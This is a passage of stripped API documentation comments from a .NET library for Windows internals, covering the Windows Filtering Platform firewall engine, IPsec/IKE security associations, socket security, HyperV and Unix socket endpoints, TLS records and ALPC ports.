The token. + + + + Add a package SID condition. + + The match type. + The package SID. + + + + Add a condition which excludes app containers. + + + + + Add a condition which includes app containers. + + + + + Adds details from a process, such as the process' App ID and package SID and token information. + + The match type. + The process. + + + + Adds details from a process, such as the process' App ID and package SID and token information. + + The match type. + The PID of the process. + + + + Add the RPC UUID. + + Match type. + The RPC UUID. + + + + Add a network event type. + + Match type. + Network event type. + + + + Constructor. + + + + + Firewall condition flags. + + + + + Guids for pre-defined firewall conditions. + + + + + Direction of stream for firewall. + + + + + Outbound flow. + + + + + Inbound flow. + + + + + Place holder for an empty value. + + + + + Overridden ToString method. + + The value as a string. + + + + Class to represent the firewall engine. + + + + + Open an instance of the engine. + + The server name for the firewall service. + RPC authentication service. Use default or WinNT. + Optional authentication credentials. + Optional session information. + True to throw on error. + The opened firewall engine. + + + + Open an instance of the engine. + + The server name for the firewall service. + RPC authentication service. Use default or WinNT. + Optional authentication credentials. + Optional session information. + The opened firewall engine. + + + + Open an instance of the engine. + + True to throw on error. + The opened firewall engine. + + + + Open an instance of the engine. + + The opened firewall engine. + + + + Open a dynamic instance of the engine. + + True to throw on error. + The opened firewall engine. + + + + Open a dynamic instance of the engine. + + The opened firewall engine. + + + + Get an engine option. + + The option to get. + True to throw on error. + The engine option's value. + + + + Get an engine option. + + The option to get. + The engine option's value. + + + + Get the current network event keywords setting. + + True to throw on error. + The network event keywords. + + + + Get the current network event keywords setting. + + The network event keywords. + + + + Get collect net events option. + + True to throw on error. + True if net events are being collected. + + + + Get collect net events option. + + True if net events are being collected. + + + + Set an engine option. + + The option to set. + The value to set. + True to throw on error. + The NT status code. + + + + Set an engine option. + + The option to set. + The value to set. + + + + Set network event keywords. + + The keywords to set. + True to throw on error. + The NT status code. + + + + Set network event keywords. + + The keywords to set. + + + + Set the collection net events engine option. + + True to enable collection. + True to throw on error. + The NT status code. + + + + Set the collection net events engine option. + + True to enable collection. + + + + Get a layer by its key. + + The key of the layer. + True to throw on error. + The firewall layer. + + + + Get a layer by its key. + + The key of the layer. + The firewall layer. + + + + Get a layer by its ID. + + The ID of the layer. + True to throw on error. + The firewall layer. + + + + Get a layer by its ID. + + The ID of the layer. + The firewall layer. + + + + Get a layer by its well-known key name. + + The well-known key name of the layer. + True to throw on error. + The firewall layer. + + + + Get a layer by its well-known key name. + + The well-known key name of the layer. + The firewall layer. + + + + Get a layer by an ALE layer type. + + The ALE layer type. + True to throw on error. + The firewall layer. + + + + Get a layer by an ALE layer type. + + The ALE layer type. + The firewall layer. + + + + Enumerate all layers. + + True to throw on error. + The list of layers. + + + + Enumerate all layers. + + The list of layers. + + + + Get a sub-layer by its key. + + The key of the sub-layer. + True to throw on error. + The firewall sub-layer. + + + + Get a sub-layer by its key. + + The key of the sub-layer. + The firewall sub-layer. + + + + Get a sub-layer by its well-known key name. + + The well-known key name of the sub-layer. + True to throw on error. + The firewall sub-layer. + + + + Get a sub-layer by its well-known key name. + + The well-known key name of the sub-layer. + The firewall sub-layer. + + + + Enumerate all sub-layers. + + True to throw on error. + The list of sub-layers. + + + + Enumerate all sub-layers. + + The list of sub-layers. + + + + Get a callout by its key. + + The key of the callout. + True to throw on error. + The firewall callout. + + + + Get a callout by its key. + + The key of the callout. + The firewall callout. + + + + Enumerate all callouts + + True to throw on error. + The list of callouts. + + + + Enumerate all callouts. + + The list of callouts. + + + + Get a filter by its key. + + The key of the filter. + True to throw on error. + The firewall filter. + + + + Get a filter by its key. + + The key of the filter. + The firewall filter. + + + + Get a filter by its id. + + The ID of the filter. + True to throw on error. + The firewall filter. + + + + Get a filter by its id. + + The ID of the filter. + The firewall filter. + + + + Enumerate filters + + Specify a template for enumerating the filters. + True to throw on error. + The list of filters. + + + + Enumerate filters + + Specify a template for enumerating the filters. + The list of filters. + + + + Enumerate all filters + + True to throw on error. + The list of filters. + + + + Enumerate all filters. + + The list of filters. + + + + Add a filter. + + The builder used to create the filter. + Optional security descriptor. + True to throw on error. + The added filter ID. + + + + Add a filter. + + The builder used to create the filter. + Optional security descriptor. + The added filter ID. + + + + Add a filter. + + The builder used to create the filter. + The added filter ID. + + + + Delete a filter. + + The filter key. + True to throw on error. + The NT status. + + + + Delete a filter. + + The filter key. + + + + Delete a filter. + + The filter ID. + True to throw on error. + The NT status. + + + + Delete a filter. + + The filter ID. + + + + Get a provider by its key. + + The key of the provider. + True to throw on error. + The firewall provider. + + + + Get a provider by its key. + + The key of the provider. + The firewall provider. + + + + Enumerate all providers. + + True to throw on error. + The list of providers. + + + + Enumerate all providers. + + The list of providers. + + + + Get the security descriptor for the IKE SA database. + + What parts of the security descriptor to retrieve + True to throw on error. + The security descriptor + + + + Get the security descriptor for the IKE SA database. + + What parts of the security descriptor to retrieve + The security descriptor + + + + Get the security descriptor for the IKE SA database. + + The security descriptor + + + + Enumerate all IKE security associatations. + + True to throw on error. + The list of IKE security associatations. + + + + Enumerate all IKE security associatations. + + The list of IKE security associatations. + + + + Get an IKE security association by its ID and lookup context. + + The ID of the security association. + Optional lookup context. + True to throw on error. + The IKE security association. + + + + Get an IKE security association by its ID and lookup context. + + The ID of the security association. + Optional lookup context. + The IKE security association. + + + + Classify a layer. + + The ID of the layer. + A list of incoming values. + True to throw on error. + The classify result. + + + + Classify a layer. + + The ID of the layer. + A list of incoming values. + The classify result. + + + + Enumerate IPSEC key managers. + + True to throw on error. + The list of registered key managers. + + + + Enumerate IPSEC key managers. + + The list of registered key managers. + + + + Get key manager component security descriptor. + + The security information to query. + True to throw on error. + The security descriptor. + + + + Get key manager component security descriptor. + + The security information to query. + The security descriptor. + + + + Open token from its modified ID. + + The token's modified ID. + The desired token access. + True to throw on error. + The opened token. + + + + Open token from its modified ID. + + The token's modified ID. + The desired token access. + The opened token. + + + + Enumerate all ALE endpoints. + + True to throw on error. + The list of ALE endpoints. + + + + Enumerate all ALE endpoints. + + The list of ALE endpoints. + + + + Get an ALE endpoint by its ID. + + The ID of the ALE endpoint. + True to throw on error. + The ALE endpoint. + + + + Get an ALE endpoint by its ID. + + The ID of the ALE endpoint. + The ALE endpoint. + + + + Get the ALE endpoint security. + + The security information to query for. + True to throw on error. + The security descriptor. + + + + Get the ALE endpoint security. + + The security information to query for. + The security descriptor. + + + + Enumerate all sessions. + + True to throw on error. + The list of sessions. + + + + Enumerate all sessions. + + The list of sessions. + + + + Enumerate all network events. + + Template to filter down enumeration. + True to throw on error. + The list of network events. + + + + Enumerate all network events. + + True to throw on error. + The list of network events. + + + + Enumerate all network events. + + Template to filter down enumeration. + The list of network events. + + + + Subscribe to read network event.s + + True to throw on error. + Optional template to filter enumeration. + The network event listener. + + + + Subscribe to read network event.s + + Optional template to filter enumeration. + The network event listener. + + + + Subscribe to read network event.s + + True to throw on error. + The network event listener. + + + + Begin a firewall transaction. + + Flags for the transaction. + True to throw on error. + The firewall transaction. + Disposing the transaction will cause it to abort. You should call Commit to use it. + + + + Enumerate all IPsec SA contexts. + + True to throw on error. + The list of SA contexts. + + + + Enumerate all IPsec SA contexts. + + The list of SA contexts. + + + + Get an IPsec SA context by its ID. + + The ID of the IPsec SA context. + True to throw on error. + The IPsec SA context. + + + + Get an IPsec SA context by its ID. + + The ID of the IPsec SA context. + The IPsec SA context. + + + + Begin a firewall transaction. + + Flags for the transaction. + The firewall transaction. + Disposing the transaction will cause it to abort. You should call Commit to use it. + + + + Begin a read/write firewall transaction. + + The firewall transaction. + Disposing the transaction will cause it to abort. You should call Commit to use it. + + + + Dispose the engine. + + + + + Get the security descriptor specifying which parts to retrieve + + What parts of the security descriptor to retrieve + The security descriptor + + + + Get the security descriptor specifying which parts to retrieve + + What parts of the security descriptor to retrieve + True to throw on error. + The security descriptor + + + + Engine option to query or set. + + + + + Represents a firewall field schema. + + + + + The field's key. + + + + + The name of the key if known. + + + + + The type of the field. + + + + + The data type of the field. + + + + + Field type. + + + + + A class to represent a firewall filter. + + + + + The filter action type. + + + + + The layer the filter applies to. + + + + + The name of the layer if known. + + + + + The sub-layer the filter applies to. + + + + + The name of the sub-layer if known. + + + + + The flags for the filter. + + + + + List of firewall conditions. + + + + + Original weight of the filter. + + + + + Provider key. + + + + + Provider data. + + + + + Filter identifier. + + + + + Effective weight of the filter. + + + + + Type of filter. + + + + + Key for the callout. + + + + + Name of the callout key if known. + + + + + Is the filter a callout. + + + + + Has the filter got an AppID condition. + + + + + Has the filter got an AppContainer package ID condition. + + + + + Has the filter got a condition to check for a user ID. + + + + + Has the filter got a condition to check for a remote user ID. + + + + + Get a layer for this filter. + + True to throw on error. + The firewall layer. + + + + Get a layer for this filter. + + The firewall layer. + + + + Get a sub-layer for this filter. + + True to throw on error. + The firewall sub-layer. + + + + Get a sub-layer for this filter. + + The firewall sub-layer. + + + + Check if filter has any condition of a specific type. + + The condition type to check. + True if the filter has a condition of the specified type. + + + + Get the filter condition for a GUID. + + The condition type to get. + The filter condition. + + + + Delete the filter. + + True to throw on error. + The NT status. + + + + Delete the filter. + + + + + Convert the filter into a builder so that it can be modified. + + The created builder. + + + + Access rights for a firewall filter. + + + + + A builder to create a new firewall filter. + + + + + The name of the filter. + + + + + The description of the filter. + + + + + The filter key. If empty will be automatically assigned. + + + + + The layer key. + + + + + The sub-layer key. + + + + + Flags for the filter. + + + + + Specify the initial weight. + + You need to specify an EMPTY, UINT64 or UINT8 value. + + + + Specify the action for this filter. + + + + + Specify the filter type GUID when not using a callout. + + + + + Specify callout key GUID when using a callout. + + + + + Specify provider key GUID. + + + + + Constructor. + + + + + Firewall filter condition. + + + + + The match type. + + + + + The key of the field. + + + + + The field key name. + + + + + The value for the condition + + + + + Constructor. + + The condition match type. + The field key. + The value. + + + + Overridden ToString method. + + The condition as a string. + + + + Options for enumerating a filter. + + + + + Specify the key for the layer to search for. + + + + + Specify the provider key. + + + + + Specify the flags for the enumeration. + + + + + Specify the action type. + + + + + Constructor. + + The layer key. + + + + Constructor. + + The ALE layer type.. + + + + Constructor. + + + + + Class to represent a firewall layer object. + + + + + Layer flags. + + + + + Default sub-layer key. + + + + + The layer ID. + + + + + List of fields. + + + + + Is builtin layer. + + + + + Is a user-mode layer. + + + + + Enumerate filters for this layer. + + True to throw on error. + The list of sorted filters. + + + + Enumerate filters for this layer. + + The list of sorted filters. + + + + Flags for a firewall layer. + + + + + Guids for pre-defined firewall layers. + + + + + Firewall filter match type. + + + + + Direction type for a network event. + + + + + Inbound + + + + + Outbound. + + + + + Forwarding + + + + + Loopback. + + + + + Base class for a firewall network event. + + + + + Type of network event. + + + + + Flags for values set. + + + + + Timestamp of the event. + + + + + Type of protocol. + + + + + Local endpoint. + + + + + Remote endpoint. + + + + + IPv6 Scope ID. + + + + + Connection AppID. + + + + + Connection user ID. + + + + + Address family. + + + + + Package SID. + + + + + Class to represent a network event capability allow. + + + + + AppContainer network capability. + + + + + Filter ID. + + + + + Indicates whether the packet originated from (or was heading to) the loopback adapter. + + + + + Class to represent a network event capability drop. + + + + + AppContainer network capability. + + + + + Filter ID. + + + + + Indicates whether the packet originated from (or was heading to) the loopback adapter. + + + + + Class to represent a firewall classification allow. + + + + + Filter ID. + + + + + Layer ID. + + + + + Reason for reauthorizing + + + + + The original profile the connection was received on. + + + + + The profile the error occurred on. + + + + + Indicates the direction of the packet transmission. + + + + + Indicates whether the packet originated from (or was heading to) the loopback adapter. + + + + + Class to represent a firewall classification drop. + + + + + Filter ID. + + + + + Layer ID. + + + + + Reason for reauthorizing + + + + + The original profile the connection was received on. + + + + + The profile the error occurred on. + + + + + Indicates the direction of the packet transmission. + + + + + Indicates whether the packet originated from (or was heading to) the loopback adapter. + + + + + GUID identifier of a vSwitch. + + + + + Transient source port of a packet within the vSwitch. + + + + + Transient destination port of a packet within the vSwitch. + + + + + Template for network event enumeration. + + + + + Start time for events. + + + + + End time for event.s + + + + + Constructor. + + + + + Flags for a network event. + + + + + Class to represent an IKEEXT extended mode failure event. + + + + + Windows error code for the failure + + + + + Point of failure + + + + + Flags for the failure event + + + + + IKE or Authip. + + + + + Extended mode mode state + + + + + Initiator or Responder + + + + + Authentication method + + + + + Hash (SHA thumbprint) of the end certificate corresponding to failures + that happen during building or validating certificate chains. + + + + + LUID for the MM SA + + + + + Quick mode filter ID + + + + + Name of local security principal that was authenticated, if available. + If not available, an empty string will be stored. + + + + + Name of remote security principal that was authenticated, if available. + If not available, an empty string will be stored. + + + + + Array of group SIDs corresponding to the local security principal that + was authenticated, if available. + + + + + Array of group SIDs corresponding to the remote security principal that + was authenticated, if available. + + + + + Class to represent an IKEEXT main mode failure event. + + + + + Windows error code for the failure + + + + + Point of failure + + + + + Flags for the failure event + + + + + IKE or Authip. + + + + + Main mode state + + + + + Initiator or Responder + + + + + Authentication method + + + + + Hash (SHA thumbprint) of the end certificate corresponding to failures + that happen during building or validating certificate chains. + + + + + LUID for the MM SA + + + + + Main mode filter ID + + + + + Name of local security principal that was authenticated, if available. + If not available, an empty string will be stored. + + + + + Name of remote security principal that was authenticated, if available. + If not available, an empty string will be stored. + + + + + Array of group SIDs corresponding to the local security principal that + was authenticated, if available. + + + + + Array of group SIDs corresponding to the remote security principal that + was authenticated, if available. + + + + + Class to represent an IKEEXT quick mode failure event. + + + + + Windows error code for the failure + + + + + Point of failure + + + + + IKE or Authip. + + + + + Main mode state + + + + + Initiator or Responder + + + + + Tunnel or transport mode. + + + + + Main mode filter ID + + + + + Local subnet address and mask. + + + + + Remote subnet address and mask. + + + + + Class to represent an IPsec kernel drop event. + + + + + Failure error code. + + + + + Connection direction. + + + + + Security parameter index. + + + + + Filter ID. + + + + + Layer ID. + + + + + Flags for network events to capture. + + + + + Class to listen for network events. + + + + + Read the next network event. + + Timeout in milliseconds. + Returns null if not event available, otherwise the next event. + + + + Read the next network event. Waiting indefinetely for the event. + + Returns null if not event available, otherwise the next event. + + + + Dispose the listener. + + + + + Type of network event. + + + + + AppContainer capability type. + + + + + Abstract class to represent a firewall object. + + + + + The object's key. + + + + + The object's name. + + + + + The object's description. + + + + + The object's key name. + + + + + The object's security descriptor. + + + + + Get the security descriptor specifying which parts to retrieve + + What parts of the security descriptor to retrieve + The security descriptor + The firewall engine object must still be open. + + + + Get the security descriptor specifying which parts to retrieve + + What parts of the security descriptor to retrieve + True to throw on error. + The security descriptor + The firewall engine object must still be open. + + + + Profile ID for the firewall. + + + + + Class to represent a firewall provider. + + + + + Name of the service which implements the provider. + + + + + Flags for the provider. + + + + + Provider data. + + + + + Flags for a firewall provider. + + + + + A firewall value range. + + + + + The low value. + + + + + The high value. + + + + + Overridden ToString method. + + The range as a string. + + + + Right action flags. + + + + + Class to represent a firewall session. + + + + + The session key. + + + + + Name of the session. + + + + + Description of the session. + + + + + Session flags. + + + + + Transaction wait timeout in ms. + + + + + The process ID of the session owner. + + + + + The user SID of the owner. + + + + + The name of the owner. + + + + + Is session kernel mode. + + + + + Constructor. Used when opening a session. + + The name of the session. + The description of the sesion. + Session flags. + Transaction timeout in ms. + + + + Constructor. Used when opening a session. + + Session flags. + + + + Class to represent a firewall sublayer. + + + + + Sub-layer flags. + + + + + The provider key. + + + + + Provider data. + + + + + Weight of the sub-layer. + + + + + Flags for a sub-layer. + + + + + Guids for pre-defined firewall sub-layers. + + + + + Token information for a condition. + + + + + The list of SIDs. + + + + + The list of restricted SIDs. + + + + + Capabilities. + + This is only used for local filtering. It's not used by WFP. + + + + Appcontainer SID. + + This is only used for local filtering. It's not used by WFP. + + + + User SID. + + This is only used for local filtering. It's not used by WFP. + + + + Constructor from a token. + + The token to constructo from. + + + + Constructor. + + The list of SIDs. + The list of restricted SIDs. + + + + Class to scope a firewall transaction. + + + + + Abort the transaction. + + True to throw on error. + The NT status code. + + + + Abort the transaction. + + + + + Commit the transaction. + + True to throw on error. + The NT status code. + + + + Commit the transaction. + + + + + Dispose the transaction. Will ca + + + + + Flags when creating a transaction. + + + + + No flags, creates a read/write transaction. + + + + + Read-only transaction. + + + + + Static class for firewall utility functions. + + + + + Name for fake NT type. + + + + + Name for fake filter NT type. + + + + + Get the NT type for the firewall. + + + + + Get the NT type for the firewall. + + + + + Get the generic mapping for a firewall object. + + The firewall object generic mapping. + + + + Get the generic mapping for a firewall filter object. + + The firewall filter object generic mapping. + + + + Get App ID from a filename. + + The filename to convert. + True to throw on error. + The App ID. + + + + Get App ID from a filename. + + The filename to convert. + The App ID. + + + + Get a list of known layer names. + + The list of known layer names. + + + + Get a list of known layer guids. + + The list of known layer guids. + + + + Get a known layer GUID from its name. + + The name of the layer. + The known layer GUID. + + + + Get a known callout GUID from its name. + + The name of the callout. + The known callout GUID. + + + + Get a list of known sub-layer names. + + The list of known sub-layer names. + + + + Get a list of known callout names. + + The list of known callout names. + + + + Get a list of known sub-layer guids. + + The list of known sub-layer guids. + + + + Get a known sub-layer GUID from its name. + + The name of the sub-layer. + The known sub-layer GUID. + + + + Get a layer GUID for an ALE layer enumeration. + + The ALE layer enumeration. + The ALE layer GUID. + + + + Firewall value. + + + + + Type of the value. + + + + + The raw value. + + + + + The context specific value, might be the same as the original. + + + + + Get a value which represents Empty. + + + + + Create a value from a security descriptor. + + The security descriptor. + The firewall value. + + + + Create a value from a SID. + + The SID. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The IPv4 address. + The IPv4 mask. + The firewall value. + + + + Create a value. + + The IPv6 address. + The prefix length. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a range value. + + The low value. + The high value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Overridden ToString method. + + The value as a string. + + + + Class to represent a certificate credential. + + + + + Certificate subject name. + + + + + Certificatehash. + + + + + Flags. + + + + + Certificate. + + + + + Overridden ToString method. + + The pair as a string. + + + + Class to represent an IKE credential. + + + + + Authentication method type. + + + + + Impersonation type. + + + + + Overridden ToString method. + + The pair as a string. + + + + Structure to represent a pair of credentials. + + + + + Local credentials. + + + + + Peer credentials. + + + + + Overridden ToString method. + + The pair as a string. + + + + IKEEXT EM failure flags. + + + + + Flag indicating that multiple IKE EM failure events have been reported that + should be correlated using the mmId field. + + + + + Flag indicating that the IKE EM failure event is a benign/expected failure + + + + + IKE extended mode states + + + + + Initial state. No EM packets have been sent to the peer yet. + + + + + State corresponding to the first EM roundtrip + + + + + State corresponding to the second EM roundtrip + + + + + State corresponding to the final EM roundtrip + + + + + State corresponding to the final EM roundtrip + + + + + EM has been completed + + + + + IKEEXT MM failure flags. + + + + + Flag indicating that the IKE MM failure event is a benign/expected failure. + + + + + Flag indicating that multiple IKE MM failure events have been reported that + should be correlated using the mmId field. + + + + + IKE main mode states + + + + + Initial state. No MM packets have been sent to the peer yet. + + + + + First roundtrip packet has been sent to the peer. + + + + + Second roundtrip packet has been sent to the peer, for SSPI auth. + + + + + Second roundtrip packet has been sent to the peer. + + + + + Final roundtrip packet has been sent to the peer. + + + + + MM has been completed. + + + + + IKE quick mode states + + + + + Initial state. No QM packets have been sent to the peer yet. + + + + + State corresponding to the first QM roundtrip + + + + + State corresponding to the final QM roundtrip + + + + + QM has been completed. + + + + + IKE main mode or quick mode SA role + + + + + SA is initiator + + + + + SA is responder + + + + + Class to represent an IKE name credential. + + + + + The credential principal name. + + + + + Overridden ToString method. + + The pair as a string. + + + + Class to represent an IKE pre-shared key credential. + + + + + The pre-shared key. + + + + + Key flags. + + + + + Class to represent an IKE security association. + + + + + ID for the security association. + + + + + Key module type. + + + + + The local address of the association. + + + + + The remote address of the association. + + + + + Initiator cookie. + + + + + Responder cookie. + + + + + IKE policy key, + + + + + Virtual interface tunnel ID. + + + + + Correlation key. + + + + + List of credentials. + + + + + Cipher algorithm for the security association. + + + + + Length of the key. + + + + + Number of rounds. + + + + + Integrity algorithm for the security association. + + + + + Maximum lifetime in seconds. + + + + + Diffie-Hellman group. + + + + + Quick mode limit. + + + + + IPsec auth config. + + + + + IPsec authentication type. + + + + + IPsec Cipher Configuration. + + + + + IPSec Cipher Type. + + + + + Type used for indicating where an IPsec failure occured. + + + + + No information available. + + + + + IPsec failure happened on local machine. + + + + + IPsec failure happened on remote machine. + + + + + Class to represent a IPsec identity + + + + + Main-mode target name. + + + + + Extended mode target name. + + + + + List of tokens. + + + + + Explicit credentials handle. + + + + + Logon ID. + + + + + Class to prepresent a key manager. + + + + + The manager's key. + + + + + The manager's name. + + + + + The manager's description. + + + + + The manager's flags. + + + + + The manager's dictation timeout hint. + + + + + Flags for IPsec key manager. + + + + + IPsec perfect forward secrecy group. + + + + + Class to represent the details of an IPsec security association. + + + + + Directory of SA. + + + + + Local endpoint. + + + + + Remote endpoint. + + + + + Traffic type. + + + + + Traffic type ID. + + + + + IP protocol type. + + + + + Interface LUID. + + + + + Real interface profile ID. + + + + + The SA bundle. + + + + + Local IPv4 UDP encapsulation port. + + + + + Remote IPv4 UDP encapsulation port. + + + + + Transport filter. + + + + + Virtual interface tunnel ID. + + + + + Traffic selector ID. + + + + + Overridden ToString method. + + The overridden ToString method. + + + + Class to represent a security association bundle. + + + + + Flags for the SA. + + + + + SA lifetime in seconds. + + + + + SA lifetime in KiB. + + + + + SA lifetime in packets. + + + + + Idle timeout. + + + + + ND allow clear timeout. + + + + + Identity for IPsec SA. + + + + + NAP context. + + + + + Quick-mode SA ID. + + + + + Key module key. + + + + + Key module state blob. + + + + + List of security association parameters. + + + + + Peer V4 private address. + + + + + Main-mode SA ID. + + + + + PFS group. + + + + + SA lookup context. + + + + + QM filter ID. + + + + + IPsec SA bundle flags. + + + + + Negotiation discovery is enabled in secure ring. + + + + + Negotiation discovery in enabled in the untrusted perimeter zone. + + + + + Peer is in untrusted perimeter zone ring and a network address translation (NAT) is in the way. Used with negotiation discovery. + + + + + Indicates that this is an SA for connections that require guaranteed encryption. + + + + + Indicates that this is an SA to an NLB server. + + + + + Indicates that this SA should bypass machine LUID verification. + + + + + Indicates that this SA should bypass impersonation LUID verification. + + + + + Indicates that this SA should bypass explicit credential handle matching. + + + + + Allows an SA formed with a peer name to carry traffic that does not have an associated peer target. + + + + + Clears the DontFragment bit on the outer IP header of an IPsec-tunneled packet. This flag is applicable only to tunnel mode SAs. + + + + + Default encapsulation ports (4500 and 4000) can be used when matching this SA with packets on outbound connections that do not have an associated IPsec-NAT-shim context. + + + + + Peer has negotiation discovery enabled, and is on a perimeter network. + + + + + Suppresses the duplicate SA deletion logic. THis logic is performed by the kernel when an outbound SA is added, to prevent unnecessary duplicate SAs. + + + + + Indicates that the peer computer supports negotiating a separate SA for connections that require guaranteed encryption. + + + + + Class to represent an IPsec security association context. + + + + + ID of the context. + + + + + Inbound security association. + + + + + Outbound security association. + + + + + Base security association class. + + + + + Index of the security parameter (SPI). + + + + + Transform type. + + + + + IPsec SA authentication information. + + + + + Type of authentication. + + + + + Authentication configuration. + + + + + Module ID for the crypto. + + + + + Authentication key. + + + + + IPsec SA authentication information. + + + + + Type of cipher. + + + + + Cipher configuration. + + + + + Module ID for the crypto. + + + + + Cipher key. + + + + + IPsec SA authentication information. + + + + + Type of authentication. + + + + + Authentication configuration. + + + + + Modify ID for the crypto. + + + + + Authentication key. + + + + + Type of cipher. + + + + + Cipher configuration. + + + + + Module ID for the crypto. + + + + + Cipher key. + + + + + Class to represent an IPsec token. + + + + + Type of token. + + + + + Token principal. + + + + + Token mode. + + + + + Handle to the token. + + + + + Get the token from the IKEEXT service. + + True to throw on error. + The token. + + + + Get the token from the IKEEXT service. + + The token. + + + + IPsec traffic type. + + + + + Network interface type. + + See https://www.iana.org/assignments/ianaiftype-mib + + + + Network layer address type. + + + + + Type of network tunnel. + + + + + Endpoint implementation for a HyperV socket. + + + + + Address family. + + + + + Protocol type for HyperV sockets. + + + + + Default constructor. + + + + + Constructor. + + + + + Get or set the service ID. + + + + + Get or set the VM ID. + + + + + Address family. + + + + + Serialize the socket address. + + The serialized address. + + + + Create a endpoint from a socket address. + + The socket address. + The created endpoint. + + + + Overridden ToString method. + + The endpoint as a string. + + + + Overridden equals method. + + The object to compare. + True if the objects are equal. + + + + Get endpoint hash code. + + The hashcode. + + + + GUIDs for HyperV Sockets. + + + + + Allows accepting connections from all partitions. + + + + + Broadcast. Send to all sockets. + + + + + Allows accepting connections form all child partitions. + + + + + Connect or bind to the loopback address. + + + + + Connect to the parent container. + + + + + Connect to the silo host container. + + + + + VSOCK template GUID. + + + + + Create an address for a VSOCK port. + + The VSOCK port. + The address. + + + + Checks if an address is a VSOCK address. + + The address to check. + True if a VSOCK address. + + + + Get the port for a VSOCK address. + + The address to query. + The VSOCK port. + Throw if not a valid VSOCK address. + + + + Convert an address to a string. + + The address to convert. + The converted address. If not symbolic name found will return the GUID as a string. + + + + Class to represent current socket security configuration. + + + + + Access token for the peer application. + + + + + Access token for the peer machine. + + + + + Socket security flags. + + + + + Security association ID for main mode. + + + + + Security association ID for quick mode. + + + + + Negotiation windows error. + + + + + Security association lookup context. Can be used to bypass security + checks for querying the security association information from the + firewall. + + + + + Dispose method. + + + + + Socket security IPsec flags. + + + + + Flags for querying socket security fields. + + + + + Flags for querying socket security information. + + + + + Socket security query flags. + + + + + Socket security setting flags. + + + + + Settings for socket security + + + + + The security flags. + + + + + The IPsec flags. + + + + + AuthIP MM policy key. + + + + + AuthIP QM policy key. + + + + + User credentials. + + + + + Authentication ID of a user, needs kernel mode to set. + + + + + Utilities for socket security. + + + + + Impersonate the socket's peer. + + The socket to impersonate. + Optional peer address. Only needed for datagram sockets. + True to throw on error. + The impersonation context. + + + + Impersonate the socket's peer. + + The socket to impersonate. + Optional peer address. Only needed for datagram sockets. + The impersonation context. + + + + Impersonate the socket's peer. + + The TCP client to impersonate. + True to throw on error. + The impersonation context. + + + + Impersonate the socket's peer. + + The TCP client to impersonate. + The impersonation context. + + + + Query the socket security information. + + The socket to query. + Optional peer address. Only needed for datagram sockets. + Optional desired access for peer tokens. If set to None then no tokens will be returned. + True to throw on error. + The socket security information. + + + + Query the socket security information. + + The socket to query. + Optional peer address. Only needed for datagram sockets. + Optional desired access for peer tokens. If set to None then no tokens will be returned. + The socket security information. + + + + Query the socket security information. + + The TCP client to query. + Optional desired access for peer tokens. If set to None then no tokens will be returned. + True to throw on error. + The socket security information. + + + + Query the socket security information. + + The TCP client to query. + Optional desired access for peer tokens. If set to None then no tokens will be returned. + The socket security information. + + + + Set the socket security information. + + The socket to set. + The security settings. + True to throw on error. + The NT status code. + + + + Set the socket security information. + + The socket to set. + The security settings. + + + + Set the socket security information. + + The TCP listener to set. + The security settings. + True to throw on error. + The NT status code. + + + + Set the socket security information. + + The TCP listener to set. + The security settings. + + + + Set the socket security information. + + The TCP client to set. + The security settings. + True to throw on error. + The NT status code. + + + + Set the socket security information. + + The TCP client to set. + The security settings. + + + + Set target peer for socket. + + The socket to set. + The target name. + Optional peer address. Only needed for datagram sockets. + True to throw on error. + The NT status code. + + + + Set target peer for socket. + + The socket to set. + The target name. + Optional peer address. Only needed for datagram sockets. + + + + Set target peer for socket. + + The socket to set. + The target name. + True to throw on error. + The NT status code. + + + + Set target peer for socket. + + The socket to set. + The target name. + + + + Set target peer for socket. + + The socket to set. + The target name. + True to throw on error. + The NT status code. + + + + Set target peer for socket. + + The socket to set. + The target name. + + + + Delete target peer for socket. + + The socket to set. + Peer address. + True to throw on error. + The NT status code. + + + + Security protocol for a socket. + + + + + Endpoint implementation for a AF_UNIX socket. + + + + + Default constructor. + + + + + Constructor. + + The path to the unix socket. + + + + Get or set the path. + + + + + Address family. + + + + + Serialize the socket address. + + The serialized address. + + + + Create a endpoint from a socket address. + + The socket address. + The created endpoint. + + + + Overridden ToString method. + + The endpoint as a string. + + + + Overridden equals method. + + The object to compare. + True if the objects are equal. + + + + Get endpoint hash code. + + The hashcode. + + + + A class to represent a TLS record. + + + + + TLS record type. + + + + + Version of protocol. + + + + + The record data. + + + + + Parse a TLS record from a binary reader. + + The reader to read from. + The parsed TLS record. + + + + Parse a TLS record from a byte array. + + The byte array. + The parsed TLS record. + + + + Type for a TLS record. + + + + + Change cipher spec. + + + + + Alert. + + + + + Handshake. + + + + + Application data. + + + + + Class to represent an ALPC port. + + + + + Disconnect this port. + + Disconection flags. + True to throw on error. + The NT status code. + + + + Disconnect this port. + + Disconection flags. + + + + Disconnect this port. + + + + + Cancel a message based on a context attribute. + + Cancellation flags. + The context attributes. + True to throw on error. + The NT status code. + + + + Cancel a message based on a context attribute. + + Cancellation flags. + The context attributes. + + + + Cancel a message based on a context attribute. + + The context attributes. + + + + Send and receive messages on an ALPC port. + + Send/Receive flags. + The message to send. Optional. + The attributes to send with the message. Optional. + The message to receive. Optional. + The attributes to receive with the message. Optional. + Time out for the send/receive. + True to throw on error. + The NT status code. + The attribute parameters will be repopulated with the attribute results. + + + + Send and receive messages on an ALPC port. + + Send/Receive flags. + The message to send. Optional. + The attributes to send with the message. Optional. + The message to receive. Optional. + The attributes to receive with the message. Optional. + Time out for the send/receive. + True if completed successfully, false if timed out. + Thrown on error. + + + + Send a message on an ALPC port. + + Send flags. + The message to send. Optional. + The attributes to send with the message. Optional. + Time out for the send/receive. + True to throw on error. + The NT status code. + The attribute parameters will be repopulated with the 